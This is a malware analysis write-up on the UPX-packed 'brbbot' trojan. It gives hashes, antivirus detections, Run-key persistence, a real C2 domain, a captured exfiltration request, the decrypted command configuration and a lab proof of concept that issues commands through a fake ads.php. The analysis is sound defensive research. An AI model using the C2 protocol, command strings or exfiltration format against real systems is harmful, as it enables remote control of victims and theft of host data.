72922cab21d75a9e2da351bda35bdd9f
Description
Summary
- The malware is packed with UPX
- It accepts commands from the attacker, passed through HTTP requests
- The malware exfiltrates the IP address (i paramater), the hostname (c parameter) and the list of running processes (p parameter, as encrypted string)
- It creates the brbbot persistence registry key in HKLM\microsoft\software\windows\currentversion\run
- It uses a XOR-crypted (key: 5b) configuration file (brbconfig.tmp) that contains the list of commands, the XOR key and the sleep time (the malware attempts to connect every 30 seconds)
- The malware connects to brb.3dtuts.by/ads.php (HTTP)
Packer
The sections analysis shows that 2 sections are named with "UPX":
Name VirtAddr VirtSize RawSize Entropy -------------------------------------------------------------------------------- UPX0 0x1000 0x6000 0x0 0.000000 [SUSPICIOUS] UPX1 0x7000 0x3000 0x2400 7.690743 [SUSPICIOUS] .rsrc 0xa000 0x1000 0x400 2.149480
PEiD indicates that the malware is packed with UPX:
The malware is packed with UPX. To unpack, simply issue:
$ upx -d brbbot.exe -o brbbot-unpacked.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 18944 <- 11264 59.46% win32/pe brbbot-unpacked.exe Unpacked 1 file.
Identification
Packed | Unpacked | |
---|---|---|
MD5 | 72922cab21d75a9e2da351bda35bdd9f | a0d53f1fa1e22b5c74089432bab4494d |
SHA1 | 4000047c2e6065ec8aa08370cec7df1da4e9bf6d | db6f12a63c1e7b65f040c86013de63fab1ccd2d3 |
SHA256 | 0531af652bb42b26f2473ef9472378b4145d2147031a18bb0e243a8f6febb6a5 | c0617b2b37cf5e7bea96b8a1ded724c825898c7cdac35742676d01b7921d6727 |
ssdeep | 192:+aKvC0lTUO6hab8kfobhAv/eF6dujaNIkipYaqtbMTz:LClIl0bbobh4/U61ubqtQH | 192:+73aYKb1sXCTy0zTHzMLiREr0aPdQNbomE2Ez8+1I+p6TdpobxlnnaexxqnUdCF:oOy0zT24aPIboBjLs2HaeTdCFjO |
imphash | 7524196cc2153be544d1a0ebb10ef7e3 | 87c70a2e7a7535e011e6d5e6412ce6e5 |
File size | 11.0 KB ( 11264 bytes ) | 18.5 KB ( 18944 bytes ) |
File type | Win32 EXE | Win32 EXE |
Magic literal | PE32 executable for MS Windows (GUI) Intel 80386 32-bit | PE32 executable for MS Windows (GUI) Intel 80386 32-bit |
Antivirus detection
Antivirus | Detection (packed) | Detection (unpacked) | Update |
---|---|---|---|
AVG | Win32/DH{IANnDwo} | Win32/DH{IANnDwo} | 20140219 |
Ad-Aware | DeepScan:Generic.Malware.SFdld!.26C47596 | Gen:Trojan.Heur.RP.bqW@aWfSY4hi | 20140219 |
AhnLab-V3 | Downloader/Win32.Spnr | 20140219 | |
AntiVir | TR/Sisron.A.2120 | HEUR/Malware | 20140219 |
Avast | Win32:Trojan-gen | Win32:Malware-gen | 20140219 |
BitDefender | DeepScan:Generic.Malware.SFdld!.26C47596 | Gen:Trojan.Heur.RP.bqW@aWfSY4hi | 20140219 |
Commtouch | W32/Trojan-Dlr-SysWrt-based!Max | W32/GenBl.A0D53F1F!Olympus | 20140219 |
Comodo | UnclassifiedMalware | UnclassifiedMalware | 20140219 |
DrWeb | DLOADER.Trojan | DLOADER.Trojan | 20140219 |
ESET-NOD32 | probably unknown NewHeur_PE | probably unknown NewHeur_PE | 20140219 |
Emsisoft | DeepScan:Generic.Malware.SFdld!.26C47596 (B) | Gen:Trojan.Heur.RP.bqW@aWfSY4hi (B) | 20140219 |
F-Prot | W32/Trojan-Dlr-SysWrt-based!Max | W32/Trojan-Dlr-SysWrt-based!Max | 20140219 |
F-Secure | DeepScan:Generic.Malware.SFdld!.26C47596 | Gen:Trojan.Heur.RP.bqW@aWfSY4hi | 20140219 |
Fortinet | NewHeur_PE | NewHeur_PE | 20140219 |
GData | DeepScan:Generic.Malware.SFdld!.26C47596 | Gen:Trojan.Heur.RP.bqW@aWfSY4hi | 20140219 |
Ikarus | Win32.SuspectCrc | Trojan.Win32.Spy | 20140219 |
K7AntiVirus | Virus ( 4602580b0 ) | Riskware ( b70d20c90 ) | 20140219 |
K7GW | Riskware ( 0015e4f01 ) | Riskware ( 0015e4f01 ) | 20140219 |
Kingsoft | Win32.Troj.Generic.a.(kcloud) | Win32.Troj.Undef.(kcloud) | 20140219 |
McAfee | Artemis!72922CAB21D7 | Artemis!A0D53F1FA1E2 | 20140219 |
McAfee-GW-Edition | Artemis!72922CAB21D7 | Artemis!A0D53F1FA1E2 | 20140219 |
MicroWorld-eScan | DeepScan:Generic.Malware.SFdld!.26C47596 | Gen:Trojan.Heur.RP.bqW@aWfSY4hi | 20140219 |
Microsoft | Trojan:Win32/Sisron | 20140219 | |
NANO-Antivirus | Trojan.Win32.Heuristic119!.bcyvqd | Trojan.Win32.Heuristic119!.bcyvqd | 20140219 |
Norman | Horst.gen32 | Troj_Generic.FFROT | 20140219 |
Panda | Trj/CI.A | Trj/CI.A | 20140219 |
Sophos | Mal/Generic-S | Mal/Generic-S | 20140219 |
Symantec | Downloader | Trojan.Gen | 20140219 |
TheHacker | Posible_Worm32 | 20140219 | |
TrendMicro | TROJ_SPNR.15L712 | TROJ_SPNR.15L712 | 20140219 |
TrendMicro-HouseCall | TROJ_GEN.RCBOHK9 | TROJ_SPNR.15L712 | 20140219 |
VIPRE | Trojan.Win32.Generic!BT | Trojan.Win32.Generic!BT | 20140219 |
Agnitum | 20140219 | ||
Antiy-AVL | Trojan/Win32.SGeneric | 20140219 | |
Baidu-International | 20140219 | ||
Bkav | 20140219 | ||
ByteHero | 20140219 | ||
CAT-QuickHeal | 20140213 | ||
CMC | 20140219 | ||
ClamAV | 20140219 | ||
Jiangmin | 20140219 | ||
Kaspersky | 20140219 | ||
Malwarebytes | 20140219 | ||
Qihoo-360 | 20140218 | ||
Rising | 20140219 | ||
SUPERAntiSpyware | 20140218 | ||
TotalDefense | 20140219 | ||
VBA32 | 20140219 | ||
ViRobot | 20140219 | ||
nProtect | 20140219 |
Dynamic Analysis
Network indicators
Contacted domains
The domain brb.3dtuts.by is contacted
HTTP requests
GET /ads.php?i=192.168.102.129&c=MALWARE-418EE9F&p=123f373e600822282f3e366028362828753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e602d363a382f33372b753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282b343437282d753e233e602d362f343437283f753e233e60362836283c28753e233e60292e353f37376869753e233e60312a28753e233e60282a37283e292d29753e233e602d362f343437283f753e233e602c2e3a2e38372f753e233e602c36322b292d283e753e233e600f0b1a2e2f3418343535082d38753e233e602c2838352f3d22753e233e600f0b1a2e2f34183435353e382f753e233e603a373c753e233e602c36322b292d283e753e233e6038363f753e233e60183a2b2f2e293e191a0f753e233e6039293939342f753e233e HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: brb.3dtuts.by Cache-Control: no-cache HTTP/1.1 200 OK Server: thttpd/2.25b 29dec2003 Content-Type: text/plain; charset=iso-8859-1 Date: Wed, 19 Feb 2014 18:01:06 GMT Last-Modified: Sat, 01 Feb 2014 09:24:44 GMT Accept-Ranges: bytes Connection: close Content-Length: 5 tixe
This request shows that the malware is attempting to exfiltrate details about the infected system, including:
Parameter | Description | Value |
---|---|---|
i | IP address of the infected system | 192.168.102.129 |
c | Hostnamed of the infected system | MALWARE-418EE9F |
p | Decoded payload}}) | 123f373e600822282[SNIP]42f753e233e |
Registry keys
The following key is created:
Path | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\brbbot |
---|---|
Type | REG_SZ |
Name | brbbot |
Value | C:\WINDOWS\system32\brbbot.exe |
Files
A file is created: brbconfig.tmp. (see {{#switchtablink:Decoded_file|Decoded file}})
$ hd brbconfig.tmp 00000000 b8 9c c3 aa df 98 67 11 66 ab fe 23 79 07 6e 17 |......g.f..#y.n.| 00000010 f3 b7 44 7c dd 2a fa 30 79 56 4c 75 a2 76 71 7d |..D|.*.0yVLu.vq}| 00000020 72 91 3a 1a da 02 8e 81 e3 27 3c c2 36 7c c0 48 |r.:......'<.6|.H| 00000030 a0 17 ed dc 01 44 2d 95 2c 1d 12 3c 88 bf ce 2d |.....D-.,..<...-| 00000040 6b c0 61 16 46 b5 0c 16 92 |k.a.F....| 00000049
Issuing commands
List of commands
From the "{{#switchtablink:Decoded_file|decoded file}}" analysis, we gathered following possible commands:
Command | Description |
---|---|
exec=cexe | Execute a command |
file=elif | Upload or download a file? |
conf=fnoc | Update configuration file? |
exit=tixe | Exit the malware |
We also know that the malware is gathering commands from the ads.php script every 30 seconds (sleep=30000).
cexe (exec)
As a proof of concept, I've set up a lab with PyminifakeDNS (fakedns) running and a HTTP server as follows:
root@remnux:/var/www# echo "cexe c:\windows\system32\calc.exe" > ads.php
After a short while, the infected machine opens a new instance of the Windows calculator every 30 seconds:
tixe (exit)
Now, the tixe parameter is confirmed to kill the malware on the infected machine:
root@remnux:/var/www# echo "tixe" > ads.php
Static analysis
Strings
%02x %s?i=%s&c=%s&p=%s brbconfig.tmp YnJiYm90 brbbot Software\Microsoft\Windows\CurrentVersion\Run CONFIG encode sleep exit conf file exec Microsoft Enhanced Cryptographic Provider v1.0 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Connection: close HTTP/1.1 POST ntdll.dll ZwQuerySystemInformation ('8PW 700PP ```hhh xppwpp FCC; WjPRW WWWW \SVWjD^3 ItRIt QSSSSSS xt ; @PVWSh SVW3 ShPS QQSVW th@j;P YY;E ]QQj $SVh PSSh tT9u t@V3 jD_W PSSSSSS URPQQh L$,3 UVWS [_^] SVWj _^[] 8csm 8csm _^[] Y__^[ t?!E v N+D$ UQPXY]Y[ KERNEL32.DLL ADVAPI32.dll msvcrt.dll USER32.dll WININET.dll WS2_32.dll HeapAlloc GetProcessHeap HeapFree GetLastError HeapReAlloc GetComputerNameA CreateProcessA SetEvent DeleteFileA MoveFileExA CopyFileA GetSystemDirectoryA GetSystemWow64DirectoryA GetModuleFileNameA GetModuleHandleA WaitForSingleObject CreateEventA CloseHandle WriteFile CreateFileA LockResource LoadResource SizeofResource FindResourceA ReadFile GetFileSize GetTempFileNameA GetTempPathA WideCharToMultiByte GetProcAddress UnhandledExceptionFilter GetCurrentProcess TerminateProcess GetSystemTimeAsFileTime GetCurrentProcessId GetCurrentThreadId GetTickCount QueryPerformanceCounter SetUnhandledExceptionFilter RtlUnwind InterlockedCompareExchange Sleep InterlockedExchange RegCloseKey RegFlushKey RegSetValueExA RegOpenKeyExA RegDeleteValueA CryptReleaseContext CryptDestroyKey CryptDestroyHash CryptEncrypt CryptDeriveKey CryptHashData CryptCreateHash CryptAcquireContextA CryptDecrypt _amsg_exit __setusermatherr __p__commode __p__fmode __set_app_type ?terminate@@YAXXZ _controlfp _initterm exit _XcptFilter _exit strrchr __getmainargs strstr strncat memcpy strchr strncmp strncpy memset sscanf sprintf atoi _cexit GetDC HttpSendRequestA HttpQueryInfoA InternetOpenA InternetSetOptionA InternetConnectA InternetCloseHandle InternetQueryDataAvailable InternetReadFile HttpOpenRequestA #3#or%5452o#8A kU'9 HMXB ?Zd; ?/L[ S;uD z?aUY D?$? U>c{ zc%C1 .:3q -64OS NKeb 0yVLu vq}r
IAT
ADVAPI32
|
KERNEL32
|
USER32
|
WININET
|
WS2_32
|
msvcrt
|
Decoded file
To decode the file, let's load our unpacked malware into OllyDbg and set a breakpoint to the ReadFile function. The one on the below screenshot corresponds to the access to the brbconfig.tmp file as shown by the handles window:
A few intstructions after, there is an access to the CryptDecrypt function:
Setting a brekpoint at this address and then stepping over reveals the following string:
uri=ads.php;exec=cexe;file=elif;conf=fnoc;exit=tixe;encode=5b;sleep=30000
It corresponds to the brbconfig.tmp file decrypted. It provides us with the following parameters:
- uri=ads.php
- exec=cexe
- file=elif
- conf=fnoc
- exit=tixe
- encode=5b
- sleep=30000
Decoding HTTP payload
From the previous "{{#switchtablink:Decoded_file|decoded file}}" analysis, we have gathered the following information: encode=5b
We can suppose that 5b is the decoding key for the string discovered in the p parameter of the HTTP request. Let's try with translate.py:
$ cat encoded.hex 123f373e600822282f3e366028362828753e233e603828292828753e233e602c323537343c3435753e233e60283e292d32383e28753e233e6037283a2828753e233e602d363a382f33372b753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282b343437282d753e233e602d362f343437283f753e233e60362836283c28753e233e60292e353f37376869753e233e60312a28753e233e60282a37283e292d29753e233e602d362f343437283f753e233e602c2e3a2e38372f753e233e602c36322b292d283e753e233e600f0b1a2e2f3418343535082d38753e233e602c2838352f3d22753e233e600f0b1a2e2f34183435353e382f753e233e603a373c753e233e602c36322b292d283e753e233e6038363f753e233e60183a2b2f2e293e191a0f753e233e6039293939342f753e233e $ xxd -r -p encoded.hex > encoded.raw $ translate.py encoded.raw decoded.txt 'byte ^ 0x5b' $ more decoded.txt Idle;System;smss.exe;csrss.exe;winlogon.exe;services.exe;lsass.exe;vmacthlp.exe;svchost.exe;svchost.exe;svchost.exe;svchost.exe;svchost.exe;explorer.exe;spoolsv.exe;vmtoolsd.exe;msmsgs.exe;rundll32.exe;jqs.exe;sqlservr.exe;vmtoolsd.exe;wuauclt.exe;wmiprvse.exe;TPAutoConnSvc.exe;wscntfy.exe;TPAutoConnect.exe;alg.exe;wmiprvse.exe;cmd.exe;CaptureBAT.exe
We can see from the above output that the list of running processes is disclosed.